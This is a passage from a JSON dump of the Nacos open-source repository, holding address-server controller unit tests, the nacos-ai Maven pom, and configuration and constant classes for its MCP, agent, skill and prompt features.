    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.controller;\n\nimport com.alibaba.nacos.address.component.AddressServerGeneratorManager;\nimport com.alibaba.nacos.address.component.AddressServerManager;\nimport com.alibaba.nacos.address.constant.AddressServerConstants;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.naming.core.ClusterOperator;\nimport com.alibaba.nacos.naming.core.InstanceOperator;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.delete;\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n\n@ExtendWith(MockitoExtension.class)\nclass AddressServerClusterControllerTest {\n    \n    @Mock\n    private InstanceOperator instanceOperator;\n    \n    @Mock\n    private NamingMetadataManager metadataManager;\n    \n    @Mock\n    private ClusterOperator clusterOperator;\n    \n    private MockMvc mockMvc;\n\n    @BeforeEach\n    void before() {\n        mockMvc = MockMvcBuilders.standaloneSetup(\n                new AddressServerClusterController(instanceOperator, metadataManager, clusterOperator,\n                        new AddressServerManager(), new AddressServerGeneratorManager())).build();\n        Service service = Service\n                .newService(Constants.DEFAULT_NAMESPACE_ID, Constants.DEFAULT_GROUP, \"nacos.as.default\", false);\n        ServiceManager.getInstance().getSingleton(service);\n    }\n\n    @AfterEach\n    void tearDown() {\n        Service service = Service\n                .newService(Constants.DEFAULT_NAMESPACE_ID, Constants.DEFAULT_GROUP, \"nacos.as.default\", false);\n        ServiceManager.getInstance().removeSingleton(service);\n    }\n\n    @Test\n    void testPostCluster() throws Exception {\n        \n        mockMvc.perform(post(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.3.1,192.168.3.2\")).andExpect(status().isOk());\n        \n    }\n\n    @Test\n    void testPostClusterWithErrorIps() throws Exception {\n        mockMvc.perform(post(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.1\")).andExpect(status().isBadRequest());\n    }\n\n    @Test\n    void testPostClusterThrowException() throws Exception {\n        \n        Mockito.doThrow(new NacosException(500, \"create service error\")).when(clusterOperator)\n                .updateClusterMetadata(Mockito.eq(Constants.DEFAULT_NAMESPACE_ID), Mockito.eq(\n                        Constants.DEFAULT_GROUP + AddressServerConstants.GROUP_SERVICE_NAME_SEP + \"nacos.as.default\"),\n                        Mockito.eq(\"serverList\"), Mockito.any());\n        \n        mockMvc.perform(post(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.1\")).andExpect(status().isInternalServerError());\n        \n    }\n\n    @Test\n    void testDeleteCluster() throws Exception {\n        mockMvc.perform(delete(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.3.1,192.168.3.2\")).andExpect(status().isOk());\n    }\n\n    @Test\n    void testDeleteClusterCannotFindService() throws Exception {\n        tearDown();\n        mockMvc.perform(delete(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.3.1,192.168.3.2\")).andExpect(status().isNotFound());\n    }\n\n    @Test\n    void testDeleteClusterEmptyIps() throws Exception {\n        mockMvc.perform(delete(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"\")).andExpect(status().isBadRequest());\n    }\n\n    @Test\n    void testDeleteClusterErrorIps() throws Exception {\n        mockMvc.perform(delete(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.1\")).andExpect(status().isBadRequest());\n    }\n\n    @Test\n    void testDeleteClusterThrowException() throws Exception {\n        Mockito.doThrow(new NacosException(500, \"remove service error\")).when(instanceOperator)\n                .removeInstance(Mockito.eq(Constants.DEFAULT_NAMESPACE_ID), Mockito.eq(\n                        Constants.DEFAULT_GROUP + AddressServerConstants.GROUP_SERVICE_NAME_SEP + \"nacos.as.default\"),\n                        Mockito.any());\n        \n        mockMvc.perform(delete(\"/nacos/v1/as/nodes\").param(\"product\", \"default\").param(\"cluster\", \"serverList\")\n                .param(\"ips\", \"192.168.3.1,192.168.3.2\")).andExpect(status().isInternalServerError());\n    }\n    \n}\n"
  },
  {
    "path": "address/src/test/java/com/alibaba/nacos/address/controller/ServerListControllerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.controller;\n\nimport com.alibaba.nacos.address.component.AddressServerGeneratorManager;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.index.ServiceStorage;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Optional;\n\nimport static org.mockito.Mockito.when;\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n\n@ExtendWith(MockitoExtension.class)\nclass ServerListControllerTest {\n    \n    @Mock\n    private NamingMetadataManager metadataManager;\n    \n    @Mock\n    private ServiceStorage serviceStorage;\n    \n    private Service service;\n    \n    private MockMvc mockMvc;\n\n    @BeforeEach\n    void before() {\n        this.mockMvc = MockMvcBuilders.standaloneSetup(\n                new ServerListController(new AddressServerGeneratorManager(), metadataManager, serviceStorage)).build();\n        service = Service\n                .newService(Constants.DEFAULT_NAMESPACE_ID, Constants.DEFAULT_GROUP, \"nacos.as.default\", false);\n        ServiceManager.getInstance().getSingleton(service);\n    }\n\n    @AfterEach\n    void tearDown() {\n        ServiceManager.getInstance().removeSingleton(service);\n    }\n\n    @Test\n    void testGetCluster() throws Exception {\n        \n        final Service service = Service\n                .newService(Constants.DEFAULT_NAMESPACE_ID, Constants.DEFAULT_GROUP, \"nacos.as.default\", false);\n        ServiceMetadata serviceMetadata = new ServiceMetadata();\n        serviceMetadata.getClusters().put(\"serverList\", new ClusterMetadata());\n        when(metadataManager.getServiceMetadata(service)).thenReturn(Optional.of(serviceMetadata));\n        List<Instance> list = new ArrayList<>(2);\n        list.add(new Instance());\n        list.add(new Instance());\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(list);\n        when(serviceStorage.getData(service)).thenReturn(serviceInfo);\n        mockMvc.perform(get(\"/nacos/serverList\")).andExpect(status().isOk());\n    }\n\n    @Test\n    void testGetClusterCannotFindService() throws Exception {\n        tearDown();\n        mockMvc.perform(get(\"/default/serverList\")).andExpect(status().isNotFound());\n        \n    }\n\n    @Test\n    void testGetClusterCannotFindCluster() throws Exception {\n        mockMvc.perform(get(\"/nacos/serverList\")).andExpect(status().isNotFound());\n        \n    }\n}\n"
  },
  {
    "path": "ai/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2025 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n    </parent>\n    \n    <artifactId>nacos-ai</artifactId>\n    <name>nacos-ai ${project.version}</name>\n    <url>https://nacos.io</url>\n    \n    <dependencies>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-common</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-naming</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-config</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-compress</artifactId>\n            <version>1.26.0</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-test-autoconfigure</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n</project>"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/config/AiEnabledFilter.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Set;\n\n/**\n * Nacos AI Component enabled filter.\n *\n * @author xiweng.yy\n */\npublic class AiEnabledFilter implements NacosPackageExcludeFilter {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AiEnabledFilter.class);\n    \n    public static final String AI_ENABLED_KEY = \"nacos.extension.ai.enabled\";\n    \n    @Override\n    public String getResponsiblePackagePrefix() {\n        return \"com.alibaba.nacos.ai\";\n    }\n    \n    @Override\n    public boolean isExcluded(String className, Set<String> annotationNames) {\n        String functionMode = EnvUtil.getFunctionMode();\n        // When not specified naming mode or config mode,\n        if (StringUtils.isNotEmpty(functionMode)) {\n            LOGGER.warn(\"AI module disabled because function mode is {}, and AI depend naming module and config module both\",\n                    functionMode);\n            return true;\n        }\n        boolean aiDisabled = !EnvUtil.getProperty(AI_ENABLED_KEY, Boolean.class, true);\n        if (aiDisabled) {\n            LOGGER.warn(\"AI module disabled because set {} as false\", AI_ENABLED_KEY);\n        }\n        return aiDisabled;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/config/McpCacheIndexProperties.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * MCP Cache Index configuration properties. Centralized configuration management for MCP cache index related settings.\n *\n * @author misselvexu\n */\n@ConfigurationProperties(prefix = \"nacos.mcp.cache\")\npublic class McpCacheIndexProperties {\n    \n    /**\n     * Whether MCP cache is enabled.\n     */\n    private boolean enabled = true;\n    \n    /**\n     * Maximum size of the cache.\n     */\n    private int maxSize = 10000;\n    \n    /**\n     * Cache entry expiration time in seconds.\n     */\n    private long expireTimeSeconds = 3600;\n    \n    /**\n     * Cache cleanup interval in seconds.\n     */\n    private long cleanupIntervalSeconds = 300;\n    \n    /**\n     * Cache synchronization interval in seconds.\n     */\n    private long syncIntervalSeconds = 300;\n    \n    public boolean isEnabled() {\n        return enabled;\n    }\n    \n    public void setEnabled(boolean enabled) {\n        this.enabled = enabled;\n    }\n    \n    public int getMaxSize() {\n        return maxSize;\n    }\n    \n    public void setMaxSize(int maxSize) {\n        this.maxSize = maxSize;\n    }\n    \n    public long getExpireTimeSeconds() {\n        return expireTimeSeconds;\n    }\n    \n    public void setExpireTimeSeconds(long expireTimeSeconds) {\n        this.expireTimeSeconds = expireTimeSeconds;\n    }\n    \n    public long getCleanupIntervalSeconds() {\n        return cleanupIntervalSeconds;\n    }\n    \n    public void setCleanupIntervalSeconds(long cleanupIntervalSeconds) {\n        this.cleanupIntervalSeconds = cleanupIntervalSeconds;\n    }\n    \n    public long getSyncIntervalSeconds() {\n        return syncIntervalSeconds;\n    }\n    \n    public void setSyncIntervalSeconds(long syncIntervalSeconds) {\n        this.syncIntervalSeconds = syncIntervalSeconds;\n    }\n    \n    @Override\n    public String toString() {\n        return \"McpCacheIndexProperties{\" + \"enabled=\" + enabled + \", maxSize=\" + maxSize + \", expireTimeSeconds=\"\n                + expireTimeSeconds + \", cleanupIntervalSeconds=\" + cleanupIntervalSeconds + \", syncIntervalSeconds=\"\n                + syncIntervalSeconds + '}';\n    }\n} "
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/config/McpConfiguration.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport com.alibaba.nacos.core.code.ControllerMethodsCache;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.annotation.PostConstruct;\n\n/**\n * AI MCP spring configuration.\n *\n * @author xiweng.yy\n */\n@Configuration\npublic class McpConfiguration {\n    \n    private final ControllerMethodsCache methodsCache;\n    \n    public McpConfiguration(ControllerMethodsCache methodsCache) {\n        this.methodsCache = methodsCache;\n    }\n    \n    @PostConstruct\n    public void init() {\n        methodsCache.initClassMethod(\"com.alibaba.nacos.ai.controller\");\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/config/McpServerIndexConfiguration.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\n\nimport com.alibaba.nacos.ai.index.CachedMcpServerIndex;\nimport com.alibaba.nacos.ai.index.McpCacheIndex;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.index.MemoryMcpCacheIndex;\nimport com.alibaba.nacos.ai.index.PlainMcpServerIndex;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\n\n/**\n * MCP server index configuration class.\n *\n * @author misselvexu\n */\n@Configuration\n@EnableConfigurationProperties(McpCacheIndexProperties.class)\npublic class McpServerIndexConfiguration {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpServerIndexConfiguration.class);\n    \n    private final McpCacheIndexProperties cacheProperties;\n    \n    public McpServerIndexConfiguration(McpCacheIndexProperties cacheProperties) {\n        this.cacheProperties = cacheProperties;\n    }\n    \n    /**\n     * Create memory cache index Bean.\n     */\n    @Bean\n    @ConditionalOnProperty(name = \"nacos.mcp.cache.enabled\", havingValue = \"true\", matchIfMissing = true)\n    public McpCacheIndex mcpCacheIndex() {\n        LOGGER.info(\"Creating McpCacheIndex bean with maxSize={}, expireTime={}s, cleanupInterval={}s\",\n                cacheProperties.getMaxSize(), cacheProperties.getExpireTimeSeconds(),\n                cacheProperties.getCleanupIntervalSeconds());\n        return new MemoryMcpCacheIndex(cacheProperties);\n    }\n    \n    /**\n     * Create scheduled task executor Bean.\n     */\n    @Bean\n    @ConditionalOnProperty(name = \"nacos.mcp.cache.enabled\", havingValue = \"true\", matchIfMissing = true)\n    public ScheduledExecutorService mcpCacheScheduledExecutor() {\n        LOGGER.info(\"Creating ScheduledExecutorService for MCP cache with syncInterval={}s\",\n                cacheProperties.getSyncIntervalSeconds());\n        // Manually create thread pool, following Alibaba coding standards\n        return new ScheduledThreadPoolExecutor(1, r -> {\n            Thread t = new Thread(r, \"mcp-cache-sync\");\n            t.setDaemon(true);\n            return t;\n        }, new ThreadPoolExecutor.CallerRunsPolicy());\n    }\n    \n    /**\n     * Create the primary MCP server index Bean when cache is enabled.\n     */\n    @Bean\n    @Primary\n    @ConditionalOnProperty(name = \"nacos.mcp.cache.enabled\", havingValue = \"true\", matchIfMissing = true)\n    public McpServerIndex cachedMcpServerIndex(ConfigDetailService configDetailService,\n            NamespaceOperationService namespaceOperationService, ConfigQueryChainService configQueryChainService,\n            McpCacheIndex mcpCacheIndex, ScheduledExecutorService mcpCacheScheduledExecutor) {\n        LOGGER.info(\"Creating CachedMcpServerIndex bean with cache enabled\");\n        return new CachedMcpServerIndex(configDetailService, namespaceOperationService, configQueryChainService,\n                mcpCacheIndex, mcpCacheScheduledExecutor, cacheProperties.isEnabled(),\n                cacheProperties.getSyncIntervalSeconds());\n    }\n    \n    /**\n     * Create the primary MCP server index Bean when cache is disabled.\n     */\n    @Bean\n    @Primary\n    @ConditionalOnProperty(name = \"nacos.mcp.cache.enabled\", havingValue = \"false\")\n    public McpServerIndex plainMcpServerIndex(ConfigDetailService configDetailService,\n            NamespaceOperationService namespaceOperationService, ConfigQueryChainService configQueryChainService) {\n        LOGGER.info(\"Creating PlainMcpServerIndex bean as cache is disabled\");\n        return new PlainMcpServerIndex(namespaceOperationService, configDetailService, configQueryChainService);\n    }\n} "
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/constant/Constants.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.constant;\n\n/**\n * Nacos AI Server Constants.\n *\n * @author xiweng.yy\n */\npublic class Constants {\n    \n    public static final String MCP_PATH = \"/ai/mcp\";\n    \n    public static final String MCP_ADMIN_PATH = \"/v3/admin\" + MCP_PATH;\n    \n    public static final String MCP_CONSOLE_PATH = \"/v3/console\" + MCP_PATH;\n    \n    public static final String MCP_LIST_SEARCH_ACCURATE = \"accurate\";\n    \n    public static final String MCP_LIST_SEARCH_BLUR = \"blur\";\n    \n    public static final String ALL_PATTERN = com.alibaba.nacos.api.common.Constants.ALL_PATTERN;\n    \n    public static final String MCP_SERVER_VERSIONS_GROUP = \"mcp-server-versions\";\n    \n    public static final String MCP_SERVER_GROUP = \"mcp-server\";\n    \n    public static final String MCP_SERVER_TOOL_GROUP = \"mcp-tools\";\n    \n    public static final String MCP_SERVER_SPEC_DATA_ID_SUFFIX = \"-mcp-server.json\";\n    \n    public static final String MCP_SERVER_VERSION_DATA_ID_SUFFIX = \"-mcp-versions.json\";\n    \n    public static final String MCP_SERVER_TOOL_DATA_ID_SUFFIX = \"-mcp-tools.json\";\n    \n    public static final String MCP_SERVER_ENDPOINT_GROUP = \"mcp-endpoints\";\n    \n    public static final String MCP_SERVER_ENDPOINT_CLUSTER = com.alibaba.nacos.api.common.Constants.DEFAULT_CLUSTER_NAME;\n    \n    public static final String MCP_BACKEND_INSTANCE_PROTOCOL_KEY = \"transportProtocol\";\n\n    public static final String MCP_SERVER_ENDPOINT_ADDRESS = \"address\";\n    \n    public static final String MCP_SERVER_ENDPOINT_PORT = \"port\";\n    \n    public static final String MCP_SERVER_ENDPOINT_METADATA_MARK = \"__nacos.ai.mcp.service__\";\n    \n    public static final String MCP_SERVER_CONFIG_MARK = \"nacos.internal.config=mcp\";\n    \n    public static final String PROTOCOL_TYPE_HTTP = \"http\";\n    \n    public static final String PROTOCOL_TYPE_HTTPS = \"https\";\n    \n    public static final String SERVER_EXPORT_PATH_KEY = \"exportPath\";\n    \n    public static final String MCP_SERVER_NAME_TAG_KEY_PREFIX = \"mcpServerName=\";\n    \n    public static final int MAX_LIST_SIZE = 100;\n    \n    public static final String RELEASE_DATE_FORMAT = \"yyyy-MM-dd'T'HH:mm:ss'Z'\";\n    \n    public static final String CONFIG_TAGS_NAME = \"config_tags\";\n    \n    public static final String META_PATH = \"path\";\n    \n    public static final String SERVER_VERSION_CONFIG_DATA_ID_TEMPLATE = \"%s\" + MCP_SERVER_VERSION_DATA_ID_SUFFIX;\n    \n    public static final String SERVER_SPECIFICATION_CONFIG_DATA_ID_TEMPLATE = \"%s-%s\" + MCP_SERVER_SPEC_DATA_ID_SUFFIX;\n    \n    public static final String SERVER_TOOLS_SPEC_CONFIG_DATA_ID_TEMPLATE = \"%s-%s\" + MCP_SERVER_TOOL_DATA_ID_SUFFIX;\n    \n    public static class A2A {\n        \n        public static final String CONSOLE_PATH = \"/v3/console/ai/a2a\";\n        \n        public static final String ADMIN_PATH = \"/v3/admin/ai/a2a\";\n        \n        public static final String AGENT_GROUP = \"agent\";\n        \n        public static final String AGENT_VERSION_GROUP = \"agent-version\";\n        \n        public static final String SEARCH_BLUR = \"blur\";\n        \n        public static final String SEARCH_ACCURATE = \"accurate\";\n        \n        public static final String AGENT_ENDPOINT_GROUP = \"agent-endpoints\";\n        \n        public static final String AGENT_ENDPOINT_PATH_KEY = \"__nacos.agent.endpoint.path__\";\n        \n        public static final String AGENT_ENDPOINT_TRANSPORT_KEY = \"__nacos.agent.endpoint.transport__\";\n        \n        public static final String NACOS_AGENT_ENDPOINT_SUPPORT_TLS = \"__nacos.agent.endpoint.supportTls__\";\n        \n        public static final String NACOS_AGENT_ENDPOINT_PROTOCOL_KEY = \"__nacos.agent.endpoint.protocol__\";\n        \n        public static final String NACOS_AGENT_ENDPOINT_QUERY_KEY = \"__nacos.agent.endpoint.query__\";\n    }\n    \n    public static class Skills {\n        \n        public static final String CONSOLE_PATH = \"/v3/console/ai/skills\";\n        \n        public static final String ADMIN_PATH = \"/v3/admin/ai/skills\";\n        \n        public static final String SKILL_GROUP = \"skill\";\n        \n        public static final String SKILL_VERSION_GROUP = \"skill-version\";\n        \n        public static final String SEARCH_BLUR = \"blur\";\n        \n        public static final String SEARCH_ACCURATE = \"accurate\";\n        \n        public static final String SKILL_DEFAULT_NAMESPACE = \"public\";\n\n        /**\n         * Max allowed size for skill zip upload (10MB). Exceeding this will result in a clear error.\n         */\n        public static final long MAX_UPLOAD_ZIP_BYTES = 10L * 1024 * 1024;\n    }\n    \n    public static class Prompt {\n        \n        public static final String CONSOLE_PATH = \"/v3/console/ai/prompt\";\n        \n        public static final String ADMIN_PATH = \"/v3/admin/ai/prompt\";\n        \n        public static final String CLIENT_PATH = \"/v3/client/ai/prompt\";\n        \n        /**\n         * Fixed group for all prompt configurations.\n         */\n        public static final String PROMPT_GROUP = \"nacos-ai-prompt\";\n        \n        /**\n         * DataId suffix for prompt configurations.\n         */\n        public static final String PROMPT_DATA_ID_SUFFIX = \".json\";\n        \n        /**\n         * DataId suffix for descriptor side prompt metadata.\n         */\n        public static final String DESCRIPTOR_DATA_ID_SUFFIX = \".descriptor\" + PROMPT_DATA_ID_SUFFIX;\n        \n        /**\n         * DataId suffix for runtime label/version mapping.\n         */\n        public static final String LABEL_VERSION_MAPPING_DATA_ID_SUFFIX = \".label-version-mapping\" + PROMPT_DATA_ID_SUFFIX;\n        \n        /**\n         * Key for prompt version in extInfo.\n         */\n        public static final String EXT_PROMPT_VERSION = \"prompt_version\";\n        \n        /**\n         * Key for prompt commit message in extInfo.\n         */\n        public static final String EXT_PROMPT_COMMIT_MSG = \"prompt_commit_msg\";\n        \n        /**\n         * Search mode: blur search.\n         */\n        public static final String SEARCH_BLUR = \"blur\";\n        \n        /**\n         * Search mode: accurate search.\n         */\n        public static final String SEARCH_ACCURATE = \"accurate\";\n        \n        /**\n         * Default namespace for prompt.\n         */\n        public static final String PROMPT_DEFAULT_NAMESPACE = \"public\";\n        \n        /**\n         * Config type for prompt.\n         */\n        public static final String PROMPT_CONFIG_TYPE = \"json\";\n        \n        /**\n         * JSON field: promptKey.\n         */\n        public static final String FIELD_PROMPT_KEY = \"promptKey\";\n        \n        /**\n         * JSON field: version.\n         */\n        public static final String FIELD_VERSION = \"version\";\n        \n        /**\n         * JSON field: template.\n         */\n        public static final String FIELD_TEMPLATE = \"template\";\n        \n        /**\n         * JSON field: commitMsg.\n         */\n        public static final String FIELD_COMMIT_MSG = \"commitMsg\";\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/constant/McpServerValidationConstants.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.constant;\n\n/**\n * Constants for MCP server validation.\n *\n * @author nacos\n */\npublic final class McpServerValidationConstants {\n    \n    /**\n     * Validation status: valid.\n     */\n    public static final String STATUS_VALID = \"valid\";\n    \n    /**\n     * Validation status: invalid.\n     */\n    public static final String STATUS_INVALID = \"invalid\";\n    \n    /**\n     * Validation status: duplicate.\n     */\n    public static final String STATUS_DUPLICATE = \"duplicate\";\n    \n    private McpServerValidationConstants() {\n        // Private constructor to prevent instantiation\n    }\n}"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/controller/A2aAdminController.java",
